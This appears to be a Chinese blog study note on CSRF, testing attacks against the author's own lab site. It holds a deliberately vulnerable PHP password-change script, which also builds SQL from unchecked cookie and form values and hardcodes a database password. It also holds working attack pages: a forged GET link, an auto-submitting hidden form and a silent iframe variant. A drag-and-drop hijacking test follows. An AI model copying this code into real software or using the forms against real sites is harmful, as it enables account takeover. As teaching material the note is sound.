web安全学习笔记(九)CSRF(Cross-Site Request Forgery) 跨站请求伪造

0.前言

CRSF是建立在会话之上的,听起来非常像XSS跨站脚本攻击,但是实际上攻击方式完全不同。之前在写XSS时,提到很多网站会使用cookie来保存用户登录的信息,例如昨天晚上我使用完CSDN后,关闭浏览器,关闭电脑,今天打开CSDN时,虽然没有填写账户和密码,也会自动登陆。
那么CRSF可以做到什么呢?比如A登陆了网上银行,正在准备进行一个操作,然而有攻击者给他发送了一个链接,当A点击这条URL后,自己账户的很多钱就被转走给攻击者了。这是由于,当登陆网站或者网上银行时,浏览器已经和可信节点建立了经过认证的会话,那么在会话没有超时的时间内,任何操作都会被当作时合法的。

1.CSRF攻击原理

在之前搭建的网站上,新建一个ChangePassword.php,用来帮助用户修改账户名和密码:

<?php
$cookie = $_COOKIE['username'];
if (!isset($_COOKIE['username']))
{
    echo 'Illegal login!<a href="login.php">please login</a>';
    exit();
}
?>
<!DOCTYPE html>
<html lang='zh'>
<head>
    <title>change password</title>
    <meta charset="UTF-8">
</head>
<body>
<form name="input" action="ChangePwd.php" method="get">
    密码 :<br /><label>
        <input type="password" name="password">
    </label><br>
    确认密码 :  <br /><label>
        <input type="password" name="password_confirm">
    </label> <br>
    <input type="submit" value="确认">
</form>
</body>
</html>

ChangePwd.php用来处理提交表单的事件:

<?php
$username = $_COOKIE['username'];
if (!isset($username))
{
    echo 'Illegal operation<a href="login.php">please login</a>';
    exit();
} else{
    $password = $_GET['password'];
    $password_confirm = $_GET['password_confirm'];
    if ($password != $password_confirm){
        echo 'Passwords entered twice are inconsistent<a href="ChangePassword.php">please retry</a>';
        exit();
    }
    $conn = new mysqli("localhost","phpadmin", "ppzz4869","PHP");
    if ($conn->connect_error){
        die("connection fail" . $conn->connect_error);
    }
    $sql = "select * from user where name='$username'";
    $res = $conn->query($sql);
    if ($res->num_rows > 0){
        $sql = "update user set psw='$password' where name='$username'";
        $conn->query($sql) or die("fail!");
        $conn->close();
        echo "Password reset complete";
    } else{
        echo 'Illegal operation<a href="login.php">please login</a>';
        exit();
    }
}

界面如下:
在这里插入图片描述
假设现在用户a需要修改密码,用户输入密码以后,界面如下:
在这里插入图片描述
用户A通过抓包或者观察URL发现,当修改密码时,向服务器发送了两个参数,
password = a 和 password_confirm = a。那么如果将这个链接发送给别人,就可以修改别人的密码了。于是,用户A将URL http://192.168.85.128/ChangePwd.php?password=aaa&password_confirm=aaa
发送给了用户admin,并附上一些诱导点开的话。由于此网站有“保持登陆状态”的设置,当用户admin点击了这条URL的时候,发现自己的密码已经被修改了。
在这里插入图片描述
如果admin并没有发现问题,关闭了网页。结果下次登陆网站的时候,发现自己的账户密码已经被修改了,仅仅是因为点击了一条URL!
在这里插入图片描述
而发送链接的用户A,也可以轻松使用修改后的密码进行登陆了。

2.CSRF攻击场景(POST)

上面演示的方法是通过GET进行的CSRF攻击,然而,POST方法并不会把参数显示在URL中,是否还存在CSRF呢?
我们将之前修改密码的页面中get方法替换为post方法,此时发现,修改密码时,参数已经不会显示在URL中了。
在这里插入图片描述
对于攻击者,会查看发送的数据包,来确定在修改密码时和服务器之间进行的交互。
在这里插入图片描述
分析发现,当点击确认修改密码时,通过POST传了两个参数,password和password_confirm。那么攻击者就可以制造一个这样的页面,并放在攻击者自己的网站上http://192.168.85.129/dvwa/hackable/uploads/CRSF.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>post data</title>
</head>
<body>

<form id="myform" method="post" action="http://192.168.85.128/ChangePwd.php">
    <input type="hidden" name="password" value="aaa">
    <input type="hidden" name="password_confirm" value="aaa">
</form>

<script type="application/javascript">
    var myform = document.getElementById("myform");
    myform.submit();
</script>

</body>
</html>

上述代码中,构建了一个表单,然后利用javascript自动提交表单。
当用户点击这个链接时,会发现自动跳转到修改密码的界面,完成CSRF攻击:
在这里插入图片描述
所以对于CSRF来说,POST和GET请求是没有区别的,只是POST请求多了一些代码。

3.静悄悄的CSRF

然而,这样的跳转显然会被受攻击者察觉,所以攻击者完善代码,静悄悄地提交数据:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>post data</title>
</head>
<body>
<iframe frameborder="0" name="myifram" width="0px" height="0px"></iframe>
<form id="myform" method="post" target="myifram" action="http://192.168.85.128/ChangePwd.php">
    <input type="hidden" name="password" value="aaa">
    <input type="hidden" name="password_confirm" value="aaa">
</form>

<script type="application/javascript">
    var myform = document.getElementById("myform");
    myform.submit();
</script>

</body>
</html>

这一段代码的改进为, 将请求的URL在<ifram>中打开,然而ifram却被隐藏了,所以网页不会有任何变化
在这里插入图片描述
但是密码却已经被修改了
在这里插入图片描述

4.拖拽劫持

2010年BlackHat 大会中,提到了一种“浏览器拖拽事件”导致的一些安全问题。目前许多浏览器都实现了拖拽接口,可以把一个网页中的图片或者文字可以拖着到另外一个网页中,而这种拖拽并不会受到同源策略的限制。因为,攻击者就可以诱使用户,从一些看不见的iframe中拖拽出一些信息,从而窃取数据。
然而,在我的实际测试中,不知道是这一类问题已经被修复还是我的操作有问题,希望看到这篇文章的人可以帮我指正。
在我个人的测试中发现,目前浏览器的拖拽问题和浏览器有关,且几乎屏蔽了一个页面中,非同源的拖拽问题。
测试代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script>
        function Init() {
            const source = document.getElementById("source");
            const target = document.getElementById("target");
            if (source.addEventListener){
                target.addEventListener("drop",DumpInfo);
            } else {
                target.attachEvent("ondrop", DumpInfo);
            }

        }

        function DumpInfo(event) {
            const info = document.getElementById("info");
            info.innerHTML += "<span style='color:#3355cc;font-size:13px'>" + event.dataTransfer.getData('Text') + "</span><br> ";
        }
    </script>
</head>
<body onload="Init()">
<div id="source">
    <iframe id="iframe_1" src="http://192.168.85.129/dvwa/">
    </iframe>
</div>
<div>
    <textarea id="target"></textarea>
</div>
<div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;">
</div>
</body>
</html>

在上述代码中,建立了一个iframe,在其中打开http://192.168.85.129/dvwa/。并建立一个testarea,监听drop事件,如果有拖着的东西被放在了testarea中,就会在下面的info中显示出来。
在这里插入图片描述
在chrome浏览器和IE浏览器中,无法进行拖拽操作,拖拽进入testarea后,没有任何反应。
在这里插入图片描述
而火狐浏览器则是会把拖拽的信息直接用默认搜索引擎进行搜索
在这里插入图片描述
然后我又尝试,将iframe中打开的同源网页,修改test.html:

<div id="source">
    <iframe id="iframe_1" src="http://192.168.85.128">
    </iframe>
</div>

此时,无论ie,chrome或是火狐浏览器都可以进行拖拽操作了。
在这里插入图片描述
根据实验现象的推论:目前浏览器的拖拽,对同源内容不做限制,但是对非同源内容做出来限制?
希望错误地方可以被指正。

发布了10 篇原创文章 · 获赞 15 · 访问量 5605

猜你喜欢

转载自blog.csdn.net/qycc3391/article/details/104741756